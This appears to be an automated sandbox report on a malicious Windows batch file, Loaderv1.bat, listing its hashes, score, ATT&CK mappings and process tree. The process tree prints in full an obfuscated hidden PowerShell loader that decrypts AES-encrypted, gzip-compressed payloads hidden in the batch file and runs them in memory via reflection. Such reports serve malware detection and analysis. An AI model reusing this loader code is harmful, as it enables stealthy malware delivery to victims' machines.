b2fa653ad9ccf9b61a1bf34a11a6f2ecaebc59e1e6efcccc5ffb0628b7472374

Resubmissions

01-06-2024 13:19

240601-qkj58sdc4w 10

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-06-2024 13:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loaderv1.bat
Size

287KB
MD5

9becc53510e45ce1b95b220e19043830
SHA1

ad4235a6e3c233e03163e7b4af7be64f4dd37e6e
SHA256

b2fa653ad9ccf9b61a1bf34a11a6f2ecaebc59e1e6efcccc5ffb0628b7472374
SHA512

ddae4aac9040ce0a145fd6b26f2996265af4c53db9bc8a562e7f21c33ad1ba43864b438566161f8dc771d9e5ca3df8ef597fd405b371605e29c66669c2a5e4e1
SSDEEP

6144:tNKne6api98v5J5VTnn0FV/Q4snog1XntS3zozE0nyXMMGe/bG:tNKnWpi945J59mVNAoDDQe1i

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1844	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 1844	2192	cmd.exe	29
PID 2192 wrote to memory of 1844	2192	cmd.exe	29
PID 2192 wrote to memory of 1844	2192	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loaderv1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zSz7EZCuoFVFjwmzM/Lzl/BNqvXIJZpcNCLt9Abe04o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xpFHc6stmOlrqnN2jHo+gQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fuqRv=New-Object System.IO.MemoryStream(,$param_var); $kaILW=New-Object System.IO.MemoryStream; $FRSFn=New-Object System.IO.Compression.GZipStream($fuqRv, [IO.Compression.CompressionMode]::Decompress); $FRSFn.CopyTo($kaILW); $FRSFn.Dispose(); $fuqRv.Dispose(); $kaILW.Dispose(); $kaILW.ToArray();}function execute_function($param_var,$param2_var){ $gAwsR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xXyFR=$gAwsR.EntryPoint; $xXyFR.Invoke($null, $param2_var);}$yOcMx = 'C:\Users\Admin\AppData\Local\Temp\Loaderv1.bat';$host.UI.RawUI.WindowTitle = $yOcMx;$tKHKX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yOcMx).Split([Environment]::NewLine);foreach ($RClOc in $tKHKX) { if ($RClOc.StartsWith(':: ')) { $oKrnZ=$RClOc.Substring(3); break; }}$payloads_var=[string[]]$oKrnZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1844-4-0x000007FEF64FE000-0x000007FEF64FF000-memory.dmp

Filesize
4KB

Download
memory/1844-7-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1844-6-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1844-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/1844-8-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1844-9-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1844-10-0x000007FEF6240000-0x000007FEF6BDD000-memory.dmp

Filesize
9.6MB

Download